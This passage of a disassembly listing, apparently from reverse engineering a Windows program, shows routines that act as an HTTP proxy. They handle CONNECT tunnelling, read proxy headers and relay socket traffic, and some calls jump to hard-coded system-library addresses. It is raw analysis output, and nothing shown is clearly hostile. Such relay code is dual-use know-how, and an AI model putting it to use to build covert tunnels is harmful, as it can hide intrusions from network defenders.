ecx, [esi+0A1h] mov [esp+2Ch+var_4], 0 call sub_401424 push 0 push 2Ah push 2Eh push 2Eh lea eax, [esp+3Ch+var_24] push 22h push eax mov byte ptr [esp+44h+var_4], 1 mov dword ptr [esi], offset off_43E14C call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+2Ch+var_4], 2 call sub_4017E4 push eax lea ecx, [esi+11h] call sub_4015D7 lea ecx, [esp+2Ch+var_24] mov byte ptr [esp+2Ch+var_4], 1 call sub_401226 mov ecx, [esp+2Ch+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 28h retn sub_428160 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428220 proc near ; CODE XREF: ___:00401E15j sub_4021B2j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401BD1 test [esp+4+arg_0], 1 jz short loc_428238 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_428238: ; CODE XREF: sub_428220+Dj mov eax, esi pop esi retn 4 sub_428220 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428250 proc near ; CODE XREF: sub_401BD1j push esi mov esi, ecx push edi mov edi, dword_50FC88 mov eax, [esi+0BFh] mov dword ptr [esi], offset off_43E14C cmp eax, 0FFFFFFFFh jz short loc_42826E push eax call edi ; closesocket loc_42826E: ; CODE XREF: sub_428250+19j mov eax, [esi+0BBh] cmp eax, 0FFFFFFFFh jz short loc_42827C push eax call edi ; closesocket loc_42827C: ; CODE XREF: sub_428250+27j lea ecx, [esi+0A1h] call sub_401226 mov ecx, esi call sub_40179E pop edi pop esi retn sub_428250 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4282C0 proc near ; CODE XREF: sub_401D2Aj var_B0 = byte ptr -0B0h var_AA = byte ptr -0AAh var_A8 = byte ptr -0A8h var_A7 = byte ptr -0A7h var_8C = byte ptr -8Ch var_74 = byte ptr -74h var_5C = byte ptr -5Ch var_48 = byte ptr -48h var_47 = byte ptr -47h var_46 = byte ptr -46h var_3C = byte ptr -3Ch var_34 = byte ptr -34h var_2C = dword ptr -2Ch var_26 = byte ptr -26h var_24 = byte ptr -24h var_20 = byte ptr -20h var_18 = byte ptr -18h var_C = byte ptr -0Ch var_A = byte ptr -0Ah var_9 = byte ptr -9 var_8 = byte ptr -8 var_4 = byte ptr -4 arg_C = byte ptr 10h arg_10 = byte ptr 14h arg_14 = byte ptr 18h arg_24 = byte ptr 28h arg_28 = byte ptr 2Ch arg_34 = byte ptr 38h arg_3C = byte ptr 40h arg_40 = byte ptr 44h arg_44 = byte ptr 48h arg_48 = byte ptr 4Ch arg_4A = word ptr 4Eh arg_4C = dword ptr 50h arg_50 = dword ptr 54h arg_54 = dword ptr 58h arg_58 = dword ptr 5Ch arg_64 = byte ptr 68h arg_68 = byte ptr 6Ch arg_6C = byte ptr 70h arg_91 = byte ptr 95h arg_98 = byte ptr 9Ch arg_9D = byte ptr 0A1h arg_AD = byte ptr 0B1h arg_D0 = dword ptr 0D4h arg_D4 = byte ptr 0D8h arg_E0 = dword ptr 0E4h arg_E4 = byte ptr 0E8h arg_EC = dword ptr 0F0h arg_F0 = byte ptr 0F4h arg_FC = byte ptr 100h arg_108 = byte ptr 10Ch arg_12C = byte ptr 130h arg_150 = byte ptr 154h arg_15C = byte ptr 160h arg_180 = byte ptr 184h arg_18C = byte ptr 190h arg_1A4 = byte ptr 1A8h arg_1B0 = byte ptr 1B4h arg_1F8 = byte ptr 1FCh arg_210 = byte ptr 214h arg_228 = byte ptr 22Ch arg_230 = byte ptr 234h arg_240 = byte ptr 244h arg_244 = dword ptr 248h arg_248 = dword ptr 24Ch arg_24C = dword ptr 250h arg_258 = byte ptr 25Ch arg_374 = byte ptr 378h arg_3EC = byte ptr 3F0h arg_3FC = byte ptr 400h arg_40C = byte ptr 410h arg_41C = byte ptr 420h arg_42C = byte ptr 430h arg_43C = byte ptr 440h arg_44C = byte ptr 450h arg_45C = byte ptr 460h arg_478 = byte ptr 47Ch arg_4478 = byte ptr 447Ch arg_53D0 = dword ptr 53D4h arg_53E0 = dword ptr 53E4h arg_5434 = byte ptr 5438h arg_5444 = byte ptr 5448h arg_544C = dword ptr 5450h arg_5454 = dword ptr 5458h arg_5480 = dword ptr 5484h push 0FFFFFFFFh mov eax, large fs:0 push offset loc_43BA92 push eax mov eax, 5488h mov large fs:0, esp call sub_436840 push ebx push ebp push esi mov ebp, ecx or esi, 0FFFFFFFFh push edi mov [ebp+0BFh], esi mov byte ptr [esp+11h], 0 mov [esp+1Ch+var_A], 0 loc_4282F8: ; CODE XREF: sub_4282C0+FC6j lea ecx, [esp+1Ch+arg_98] call sub_401B36 lea ecx, [esp+1Ch+var_8] mov [esp+1Ch+arg_5480], 0 mov [esp+1Ch+var_9], 0 call sub_401424 mov ecx, [ebp+0BBh] push 0 lea eax, [esp+20h+arg_374] push 104h push eax push ecx mov byte ptr [esp+2Ch+arg_5480], 1 call sub_401280 add esp, 10h test al, al jz loc_429310 lea edx, [esp+1Ch+arg_374] lea ecx, [esp+1Ch+arg_10] push edx call sub_401861 push offset byte_446F60 lea ecx, [esp+20h+arg_10] mov byte ptr [esp+20h+arg_5480], 2 call sub_4012EE test eax, eax jnz short loc_4283B0 lea ecx, [esp+1Ch+arg_10] mov byte ptr [esp+1Ch+arg_5480], 1 call sub_401226 lea ecx, [esp+1Ch+var_8] mov byte ptr [esp+1Ch+arg_5480], 0 call sub_401226 lea ecx, [esp+1Ch+arg_98] mov [esp+1Ch+arg_5480], esi call sub_4014B0 jmp loc_429280 ; --------------------------------------------------------------------------- loc_4283B0: ; CODE XREF: sub_4282C0+B4j push offset asc_443600 ; " " lea eax, [esp+20h+arg_210] push 0 push eax lea ecx, [esp+28h+arg_10] call sub_4016AE push offset off_445248 mov ecx, eax mov byte ptr [esp+20h+arg_5480], 3 call sub_401500 test eax, eax lea ecx, [esp+1Ch+arg_210] mov byte ptr [esp+1Ch+arg_5480], 2 setz bl call sub_401226 test bl, bl jz short loc_428475 push offset asc_443600 ; " " lea ecx, [esp+20h+arg_1F8] push 1 push ecx lea ecx, [esp+28h+arg_10] mov [esp+28h+var_9], 1 call sub_4016AE lea edx, [esp+1Ch+arg_98] mov ecx, eax push edx mov byte ptr [esp+20h+arg_5480], 4 call sub_4017E4 push eax call sub_401938 add esp, 8 lea ecx, [esp+1Ch+arg_1F8] test al, al setz bl mov byte ptr [esp+1Ch+arg_5480], 2 call sub_401226 test bl, bl jnz loc_4292FF push offset aHttp ; "http" lea ecx, [esp+20h+arg_98] call sub_4012EE test eax, eax jnz loc_4292FF jmp loc_42866A ; --------------------------------------------------------------------------- loc_428475: ; CODE XREF: sub_4282C0+137j push offset asc_443600 ; " " lea eax, [esp+20h+arg_228] push 0 push eax lea ecx, [esp+28h+arg_10] call sub_4016AE push offset aConnect_0 ; "CONNECT" mov ecx, eax mov byte ptr [esp+20h+arg_5480], 5 call sub_401500 test eax, eax lea ecx, [esp+1Ch+arg_228] mov byte ptr [esp+1Ch+arg_5480], 2 setz bl call sub_401226 test bl, bl jz loc_42866A push offset aConnect ; "connect" lea ecx, [esp+20h+arg_98] mov [esp+20h+var_9], 0 call sub_4015D7 push offset byte_446F60 lea ecx, [esp+20h+arg_F0] call sub_4015D7 push offset asc_443600 ; " " lea ecx, [esp+20h+arg_108] push 1 push ecx lea ecx, [esp+28h+arg_10] call sub_4016AE push offset asc_443C84 ; ":" lea edx, [esp+20h+arg_150] push 0 push edx mov ecx, eax mov byte ptr [esp+28h+arg_5480], 6 call sub_4016AE push eax lea ecx, [esp+20h+arg_AD] mov byte ptr [esp+20h+arg_5480], 7 call sub_401FBE lea ecx, [esp+1Ch+arg_150] mov byte ptr [esp+1Ch+arg_5480], 6 call sub_401226 lea ecx, [esp+1Ch+arg_108] mov byte ptr [esp+1Ch+arg_5480], 2 call sub_401226 push offset asc_443600 ; " " lea eax, [esp+20h+arg_258] push 1 push eax lea ecx, [esp+28h+arg_10] call sub_4016AE push offset asc_443C84 ; ":" lea ecx, [esp+20h+arg_180] push 1 push ecx mov ecx, eax mov byte ptr [esp+28h+arg_5480], 8 call sub_4016AE mov ecx, eax mov byte ptr [esp+1Ch+arg_5480], 9 call sub_4017E4 test eax, eax lea ecx, [esp+1Ch+arg_180] mov byte ptr [esp+1Ch+arg_5480], 8 setz bl call sub_401226 lea ecx, [esp+1Ch+arg_258] mov byte ptr [esp+1Ch+arg_5480], 2 call sub_401226 test bl, bl jnz loc_4292FF push offset asc_443600 ; " " lea edx, [esp+20h+arg_240] push 1 push edx lea ecx, [esp+28h+arg_10] call sub_4016AE push offset asc_443C84 ; ":" lea ecx, [esp+20h+arg_1B0] push 1 push ecx mov ecx, eax mov byte ptr [esp+28h+arg_5480], 0Ah call sub_4016AE mov ecx, eax mov byte ptr [esp+1Ch+arg_5480], 0Bh call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+1Ch+arg_1B0] mov [esp+1Ch+arg_EC], eax mov byte ptr [esp+1Ch+arg_5480], 0Ah call sub_401226 lea ecx, [esp+1Ch+arg_240] mov byte ptr [esp+1Ch+arg_5480], 2 call sub_401226 mov eax, [esp+1Ch+arg_EC] test eax, eax jnz short loc_42866A mov [esp+1Ch+arg_EC], 50h loc_42866A: ; CODE XREF: sub_4282C0+1B0j ; sub_4282C0+1FCj ... push offset asc_443600 ; " " lea edx, [esp+20h+arg_28] push 0 push edx lea ecx, [esp+28h+arg_10] call sub_4016AE push offset byte_446F60 lea ecx, [esp+20h+arg_28] mov byte ptr [esp+20h+arg_5480], 0Ch call sub_4012EE test eax, eax jz loc_4292EE push offset asc_443600 ; " " lea eax, [esp+20h+arg_40] push 2 push eax lea ecx, [esp+28h+arg_10] call sub_4016AE push offset byte_446F60 lea ecx, [esp+20h+arg_40] mov byte ptr [esp+20h+arg_5480], 0Dh call sub_4012EE test eax, eax jz loc_4292DD lea ecx, [esp+1Ch+arg_AD] push ecx lea ecx, [esp+20h+arg_68] call sub_4014C9 mov ecx, 1000h xor eax, eax lea edi, [esp+1Ch+arg_478] or ebx, 0FFFFFFFFh rep stosd mov edi, offset aHttprox ; "HTTPROX" mov ecx, ebx repne scasb not ecx sub edi, ecx lea edx, [esp+1Ch+arg_4478] mov eax, ecx mov esi, edi mov edi, edx mov byte ptr [esp+1Ch+arg_5480], 0Eh shr ecx, 2 rep movsd mov ecx, eax lea eax, [esp+1Ch+arg_4478] and ecx, 3 rep movsb mov esi, offset asc_445220 ; "\r\n" loc_428731: ; CODE XREF: sub_4282C0+48Fj mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_428755 test cl, cl jz short loc_428751 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_428755 add eax, 2 add esi, 2 test cl, cl jnz short loc_428731 loc_428751: ; CODE XREF: sub_4282C0+47Bj xor eax, eax jmp short loc_428759 ; --------------------------------------------------------------------------- loc_428755: ; CODE XREF: sub_4282C0+477j ; sub_4282C0+485j sbb eax, eax sbb eax, ebx loc_428759: ; CODE XREF: sub_4282C0+493j test eax, eax jz loc_428833 mov edi, dword_50FACC loc_428767: ; CODE XREF: sub_4282C0+56Dj mov esi, offset byte_446F60 lea eax, [esp+1Ch+arg_4478] loc_428773: ; CODE XREF: sub_4282C0+4D1j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_428797 test cl, cl jz short loc_428793 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_428797 add eax, 2 add esi, 2 test cl, cl jnz short loc_428773 loc_428793: ; CODE XREF: sub_4282C0+4BDj xor eax, eax jmp short loc_42879B ; --------------------------------------------------------------------------- loc_428797: ; CODE XREF: sub_4282C0+4B9j ; sub_4282C0+4C7j sbb eax, eax sbb eax, ebx loc_42879B: ; CODE XREF: sub_4282C0+4D5j test eax, eax jz loc_428833 mov ecx, [ebp+0BBh] push 0 lea eax, [esp+20h+arg_4478] push 1000h push eax push ecx call sub_401280 add esp, 10h test al, al jz loc_429339 lea edx, [esp+1Ch+arg_4478] push 4000h lea eax, [esp+20h+arg_478] push edx push eax call edi ; strncat push 4000h lea ecx, [esp+2Ch+arg_478] push offset asc_445220 ; "\r\n" push ecx call edi ; strncat add esp, 18h mov esi, offset asc_445220 ; "\r\n" lea eax, [esp+1Ch+arg_4478] loc_428803: ; CODE XREF: sub_4282C0+561j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_428827 test cl, cl jz short loc_428823 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_428827 add eax, 2 add esi, 2 test cl, cl jnz short loc_428803 loc_428823: ; CODE XREF: sub_4282C0+54Dj xor eax, eax jmp short loc_42882B ; --------------------------------------------------------------------------- loc_428827: ; CODE XREF: sub_4282C0+549j ; sub_4282C0+557j sbb eax, eax sbb eax, ebx loc_42882B: ; CODE XREF: sub_4282C0+565j test eax, eax jnz loc_428767 loc_428833: ; CODE XREF: sub_4282C0+49Bj ; sub_4282C0+4DDj mov esi, dword_50FAF8 lea eax, [esp+1Ch+arg_478] push offset aProxyConnectio ; "Proxy-Connection:" push eax call esi ; strstr add esp, 8 test eax, eax jz short loc_428887 push offset asc_443C84 ; ":" push eax call esi ; strstr add esp, 8 inc eax jz short loc_428887 cmp byte ptr [eax], 20h jnz short loc_42886B loc_428862: ; CODE XREF: sub_4282C0+5A9j mov cl, [eax+1] inc eax cmp cl, 20h jz short loc_428862 loc_42886B: ; CODE XREF: sub_4282C0+5A0j push offset aKeepAlive ; "Keep-Alive" push eax call near ptr 77C4624Eh nop add esp, 8 test eax, eax jz short loc_428887 mov byte ptr [ebp+0BAh], 1 jmp short loc_42888E ; --------------------------------------------------------------------------- loc_428887: ; CODE XREF: sub_4282C0+58Dj ; sub_4282C0+59Bj ... mov byte ptr [ebp+0BAh], 0 loc_42888E: ; CODE XREF: sub_4282C0+5C5j cmp [ebp+0BFh], ebx jnz loc_428926 push 6 push 1 push 2 nop call near ptr 71AB3B91h cmp eax, ebx mov [ebp+0BFh], eax jz loc_42940D mov edx, [esp+28h+arg_E0] xor ecx, ecx mov [esp+28h+arg_4C], ecx push edx mov [esp+2Ch+arg_50], ecx mov word ptr [esp+2Ch+arg_4C], 2 mov [esp+2Ch+arg_54], ecx mov [esp+2Ch+arg_58], ecx nop call near ptr 71AB2B66h lea ecx, [esp+2Ch+arg_9D] mov [esp+2Ch+arg_4A], ax call sub_4017E4 push eax call sub_40187F add esp, 4 cmp eax, ebx mov [esp+2Ch+arg_4C], eax jz loc_42934B mov ecx, [ebp+0BFh] lea eax, [esp+2Ch+arg_48] push 10h push eax push ecx nop call near ptr 71AB406Ah cmp eax, ebx jz loc_4293A8 loc_428926: ; CODE XREF: sub_4282C0+5D4j mov al, [esp+13h] test al, al jz loc_428FCE mov al, [ebp+0BAh] test al, al jz short loc_428971 lea edx, [esp+38h+arg_45C] lea ecx, [esp+38h+arg_24] push edx call sub_4017E4 push eax lea ecx, [esp+40h+arg_D4] call sub_4017E4 push eax lea ecx, [esp+44h+arg_C] call sub_4017E4 push eax lea eax, [esp+48h+var_24] push offset aSSSConnectionK ; "%s %s %s\r\nConnection: Keep-Alive\r\n%s" push eax jmp short loc_4289A4 ; --------------------------------------------------------------------------- loc_428971: ; CODE XREF: sub_4282C0+67Aj lea ecx, [esp+38h+arg_45C] push ecx lea ecx, [esp+3Ch+arg_24] call sub_4017E4 push eax lea ecx, [esp+40h+arg_D4] call sub_4017E4 push eax lea ecx, [esp+44h+arg_C] call sub_4017E4 push eax lea edx, [esp+48h+var_24] push offset aSSSConnectionC ; "%s %s %s\r\nConnection: close\r\n%s" push edx loc_4289A4: ; CODE XREF: sub_4282C0+6AFj call sub_40102D add esp, 18h lea ecx, [esp+38h+var_24] push 0 call sub_4013D9 push eax lea ecx, [esp+40h+var_24] call sub_4017E4 push eax mov eax, [ebp+0BFh] push eax nop call near ptr 71AB428Ah test eax, eax jz loc_4293F2 cmp eax, ebx jz loc_4293F2 mov edx, [ebp+0BFh] push 0 lea ecx, [esp+4Ch+arg_44C] push 4000h push ecx push edx call sub_401280 add esp, 10h test al, al jz loc_42941F mov edi, offset asc_445220 ; "\r\n" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+48h+arg_44C] repne scasb not ecx sub edi, ecx push eax mov esi, edi mov ebx, ecx mov edi, edx or ecx, 0FFFFFFFFh repne scasb mov ecx, ebx dec edi shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb lea edi, [esp+4Ch+arg_44C] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea eax, [esp+4Ch+arg_44C] push ecx mov ecx, [ebp+0BBh] push eax push ecx nop call near ptr 71AB428Ah xor ebx, ebx mov esi, offset asc_445220 ; "\r\n" mov [esp+58h+var_2C], ebx lea eax, [esp+58h+arg_43C] loc_428A6E: ; CODE XREF: sub_4282C0+7CCj mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_428A92 test cl, cl jz short loc_428A8E mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_428A92 add eax, 2 add esi, 2 test cl, cl jnz short loc_428A6E loc_428A8E: ; CODE XREF: sub_4282C0+7B8j xor eax, eax jmp short loc_428A97 ; --------------------------------------------------------------------------- loc_428A92: ; CODE XREF: sub_4282C0+7B4j ; sub_4282C0+7C2j sbb eax, eax sbb eax, 0FFFFFFFFh loc_428A97: ; CODE XREF: sub_4282C0+7D0j test eax, eax jz loc_428E19 loc_428A9F: ; CODE XREF: sub_4282C0+B48j mov esi, offset byte_446F60 lea eax, [esp+58h+arg_43C] loc_428AAB: ; CODE XREF: sub_4282C0+80Dj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_428AD3 test cl, cl jz short loc_428ACF mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_428AD3 add eax, 2 add esi, 2 test cl, cl jnz short loc_428AAB loc_428ACF: ; CODE XREF: sub_4282C0+7F7j xor eax, eax jmp short loc_428AD8 ; --------------------------------------------------------------------------- loc_428AD3: ; CODE XREF: sub_4282C0+7F3j ; sub_4282C0+803j sbb eax, eax sbb eax, 0FFFFFFFFh loc_428AD8: ; CODE XREF: sub_4282C0+811j test eax, eax jz loc_428E15 mov ecx, [ebp+0BFh] push 0 lea eax, [esp+5Ch+arg_43C] push 4000h push eax push ecx call sub_401280 add esp, 10h test al, al jz loc_428E10 lea edx, [esp+58h+arg_43C] lea ecx, [esp+58h+arg_44] push edx call sub_401861 push offset asc_443600 ; " " lea eax, [esp+5Ch+arg_1A4] push 0 push eax lea ecx, [esp+64h+arg_44] mov [esp+64h+arg_5444], 0Fh call sub_4016AE push offset aContentLength ; "Content-Length:" mov ecx, eax mov [esp+5Ch+arg_5444], 10h call sub_401500 test eax, eax lea ecx, [esp+58h+arg_1A4] mov [esp+58h+arg_5444], 0Fh setz bl call sub_401226 test bl, bl jz short loc_428BBA push offset asc_443600 ; " " lea ecx, [esp+5Ch+arg_E4] push 1 push ecx lea ecx, [esp+64h+arg_44] call sub_4016AE mov ecx, eax mov [esp+58h+arg_5444], 11h call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+58h+arg_E4] mov [esp+58h+var_2C], eax mov [esp+58h+arg_5444], 0Fh call sub_401226 loc_428BBA: ; CODE XREF: sub_4282C0+8ACj push offset asc_443600 ; " " lea edx, [esp+5Ch+arg_FC] push 0 push edx lea ecx, [esp+64h+arg_44] call sub_4016AE push offset aTransferEncodi ; "Transfer-Encoding:" mov ecx, eax mov [esp+5Ch+arg_5444], 12h call sub_401500 test eax, eax lea ecx, [esp+58h+arg_FC] mov [esp+58h+arg_5444], 0Fh setz bl call sub_401226 test bl, bl jz short loc_428C49 push offset asc_443600 ; " " lea eax, [esp+5Ch+arg_12C] push 1 push eax lea ecx, [esp+64h+arg_44] call sub_4016AE push offset aChunked ; "chunked" mov ecx, eax mov [esp+5Ch+arg_5444], 13h call sub_401500 lea ecx, [esp+58h+arg_12C] mov [esp+58h+arg_5444], 0Fh call sub_401226 loc_428C49: ; CODE XREF: sub_4282C0+944j push offset asc_443600 ; " " lea ecx, [esp+5Ch+arg_15C] push 0 push ecx lea ecx, [esp+64h+arg_44] call sub_4016AE push offset aConnection ; "Connection:" mov ecx, eax mov [esp+5Ch+arg_5444], 14h call sub_401500 test eax, eax lea ecx, [esp+58h+arg_15C] mov [esp+58h+arg_5444], 0Fh setz bl call sub_401226 test bl, bl jz short loc_428CE4 push offset asc_443600 ; " " lea edx, [esp+5Ch+arg_18C] push 1 push edx lea ecx, [esp+64h+arg_44] call sub_4016AE push offset aKeepAlive ; "Keep-Alive" mov ecx, eax mov [esp+5Ch+arg_5444], 15h call sub_401500 test eax, eax lea ecx, [esp+58h+arg_18C] mov [esp+58h+arg_5444], 0Fh setz bl call sub_401226 test bl, bl setnz [esp+58h+var_47] loc_428CE4: ; CODE XREF: sub_4282C0+9D3j mov esi, offset asc_445220 ; "\r\n" lea eax, [esp+58h+arg_43C] loc_428CF0: ; CODE XREF: sub_4282C0+A52j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_428D18 test cl, cl jz short loc_428D14 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_428D18 add eax, 2 add esi, 2 test cl, cl jnz short loc_428CF0 loc_428D14: ; CODE XREF: sub_4282C0+A3Cj xor eax, eax jmp short loc_428D1D ; --------------------------------------------------------------------------- loc_428D18: ; CODE XREF: sub_4282C0+A38j ; sub_4282C0+A48j sbb eax, eax sbb eax, 0FFFFFFFFh loc_428D1D: ; CODE XREF: sub_4282C0+A56j test eax, eax jz loc_428DB9 mov esi, offset byte_446F60 lea eax, [esp+58h+arg_43C] loc_428D31: ; CODE XREF: sub_4282C0+A93j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_428D59 test cl, cl jz short loc_428D55 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_428D59 add eax, 2 add esi, 2 test cl, cl jnz short loc_428D31 loc_428D55: ; CODE XREF: sub_4282C0+A7Dj xor eax, eax jmp short loc_428D5E ; --------------------------------------------------------------------------- loc_428D59: ; CODE XREF: sub_4282C0+A79j ; sub_4282C0+A89j sbb eax, eax sbb eax, 0FFFFFFFFh loc_428D5E: ; CODE XREF: sub_4282C0+A97j test eax, eax jz short loc_428DB9 mov edi, offset asc_445220 ; "\r\n" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+58h+arg_43C] repne scasb not ecx sub edi, ecx push eax mov esi, edi mov ebx, ecx mov edi, edx or ecx, 0FFFFFFFFh repne scasb mov ecx, ebx dec edi shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb lea edi, [esp+5Ch+arg_43C] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea eax, [esp+5Ch+arg_43C] push ecx mov ecx, [ebp+0BBh] push eax push ecx call near ptr 71AB428Ah nop loc_428DB9: ; CODE XREF: sub_4282C0+A5Fj ; sub_4282C0+AA0j lea ecx, [esp+68h+arg_34] mov [esp+68h+arg_5434], 0Eh call sub_401226 mov esi, offset asc_445220 ; "\r\n" lea eax, [esp+68h+arg_42C] loc_428DD9: ; CODE XREF: sub_4282C0+B3Bj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_428E01 test cl, cl jz short loc_428DFD mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_428E01 add eax, 2 add esi, 2 test cl, cl jnz short loc_428DD9 loc_428DFD: ; CODE XREF: sub_4282C0+B25j xor eax, eax jmp short loc_428E06 ; --------------------------------------------------------------------------- loc_428E01: ; CODE XREF: sub_4282C0+B21j ; sub_4282C0+B31j sbb eax, eax sbb eax, 0FFFFFFFFh loc_428E06: ; CODE XREF: sub_4282C0+B3Fj test eax, eax jnz loc_428A9F jmp short loc_428E15 ; --------------------------------------------------------------------------- loc_428E10: ; CODE XREF: sub_4282C0+840j mov [esp+58h+var_46], 1 loc_428E15: ; CODE XREF: sub_4282C0+81Aj ; sub_4282C0+B4Ej mov ebx, [esp+58h+var_2C] loc_428E19: ; CODE XREF: sub_4282C0+7D9j mov al, [esp+58h+var_47] push 0 test al, al jz short loc_428E41 mov edi, offset aConnectionKeep ; "Connection: Keep-Alive\r\n" or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov eax, [ebp+0BBh] not ecx dec ecx push ecx push offset aConnectionKeep ; "Connection: Keep-Alive\r\n" push eax jmp short loc_428E5D ; --------------------------------------------------------------------------- loc_428E41: ; CODE XREF: sub_4282C0+B61j mov edi, offset aConnectionClos ; "Connection: Close\r\n" or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, [ebp+0BBh] push offset aConnectionClos ; "Connection: Close\r\n" push ecx loc_428E5D: ; CODE XREF: sub_4282C0+B7Fj nop call near ptr 71AB428Ah mov edi, offset asc_445220 ; "\r\n" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+68h+arg_42C] repne scasb not ecx sub edi, ecx push 0 mov eax, ecx mov esi, edi mov edi, edx mov edx, [ebp+0BBh] shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb lea edi, [esp+6Ch+arg_42C] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx push ecx lea ecx, [esp+70h+arg_42C] push ecx push edx nop call near ptr 71AB428Ah test ebx, ebx jz loc_428F8C xor edi, edi test ebx, ebx jle short loc_428F14 loc_428EC3: ; CODE XREF: sub_4282C0+C52j mov eax, ebx sub eax, edi cmp eax, 4000h jbe short loc_428F14 mov edx, [ebp+0BFh] push 0 lea ecx, [esp+7Ch+arg_41C] push 4000h push ecx push edx call near ptr 71AB615Ah nop mov esi, eax cmp esi, 1 jl short loc_428F14 cmp esi, 0FFFFFFFFh jz short loc_428F14 mov ecx, [ebp+0BBh] push 0 lea eax, [esp+8Ch+arg_40C] push esi push eax push ecx nop call near ptr 71AB428Ah add edi, esi cmp edi, ebx jl short loc_428EC3 loc_428F14: ; CODE XREF: sub_4282C0+C01j ; sub_4282C0+C0Cj ... mov eax, ebx sub eax, edi jz short loc_428F5E loc_428F1A: ; CODE XREF: sub_4282C0+C9Cj push 0 push eax mov eax, [ebp+0BFh] lea edx, [esp+0A0h+arg_3FC] push edx push eax nop call near ptr 71AB615Ah mov esi, eax cmp esi, 1 jl short loc_428F5E cmp esi, 0FFFFFFFFh jz short loc_428F5E mov edx, [ebp+0BBh] push 0 lea ecx, [esp+0ACh+arg_3EC] push esi push ecx push edx nop call near ptr 71AB428Ah add edi, esi mov eax, ebx sub eax, edi jnz short loc_428F1A loc_428F5E: ; CODE XREF: sub_4282C0+C58j ; sub_4282C0+C77j ... mov al, [ebp+0BAh] test al, al jnz loc_4291EF mov ecx, [ebp+0BBh] push ecx call near ptr 71AB9639h nop or esi, 0FFFFFFFFh mov [esp+0BCh+var_AA], 1 mov [ebp+0BBh], esi jmp loc_4291F2 ; --------------------------------------------------------------------------- loc_428F8C: ; CODE XREF: sub_4282C0+BF7j mov esi, dword_50FC90 loc_428F92: ; CODE XREF: sub_4282C0+D0Cj mov ecx, [ebp+0BFh] push 0 lea eax, [esp+7Ch+arg_41C] push 4000h push eax push ecx call esi ; recv cmp eax, 1 jl short loc_428F5E cmp eax, 0FFFFFFFFh jz short loc_428F5E push 0 push eax mov eax, [ebp+0BBh] lea edx, [esp+90h+arg_40C] push edx push eax call near ptr 71AB428Ah nop jmp short loc_428F92 ; --------------------------------------------------------------------------- loc_428FCE: ; CODE XREF: sub_4282C0+66Cj lea ecx, [esp+38h+var_24] push offset aHttp1_0200Conn ; "HTTP/1.0 200 Connection established\r\n\r\n"... push ecx call sub_40102D add esp, 8 lea ecx, [esp+38h+var_24] push 0 call sub_4013D9 push eax lea ecx, [esp+40h+var_24] call sub_4017E4 mov edx, [ebp+0BBh] push eax push edx call near ptr 71AB428Ah nop test eax, eax jz loc_429492 cmp eax, ebx jz loc_429492 mov ebx, dword_50FC90 mov eax, [ebp+0BBh] mov edx, [ebp+0BFh] mov [esp+48h+arg_248], eax mov [esp+48h+arg_244], 1 xor eax, eax lea ecx, [esp+48h+arg_248] loc_429040: ; CODE XREF: sub_4282C0+D8Bj cmp [ecx], edx jz short loc_42904D inc eax add ecx, 4 cmp eax, 1 jb short loc_429040 loc_42904D: ; CODE XREF: sub_4282C0+D82j cmp eax, 1 jnz short loc_429064 mov [esp+48h+arg_24C], edx mov [esp+48h+arg_244], 2 loc_429064: ; CODE XREF: sub_4282C0+D90j mov ecx, 1000h xor eax, eax lea edi, [esp+48h+arg_44C] push eax rep stosd push eax lea ecx, [esp+50h+arg_244] push eax push ecx push eax nop call near ptr 71AB2DC0h mov eax, [ebp+0BBh] lea edx, [esp+5Ch+arg_230] push edx push eax call sub_436F60 ; --------------------------------------------------------------------------- dw 0C085h dd 958B4274h, 0BBh, 8C8D006Ah, 49C24h, 40006800h, 52510000h dd 0F883D3FFh, 9F840FFFh, 8BFFFFFEh, 0BF8Dh, 50006A00h dd 0A024848Dh, 50000004h, 0B3E89051h, 837168B1h, 840FFFF8h dd 0FFFFFE7Eh, 0BF858Bh, 948D0000h, 29024h, 0E8505200h dd 0DE6Ch, 4274C085h, 0BF958Bh, 6A0000h, 9C248C8Dh, 68000004h dd 4000h, 0D3FF5251h, 0FFFF883h, 0FFFE4584h, 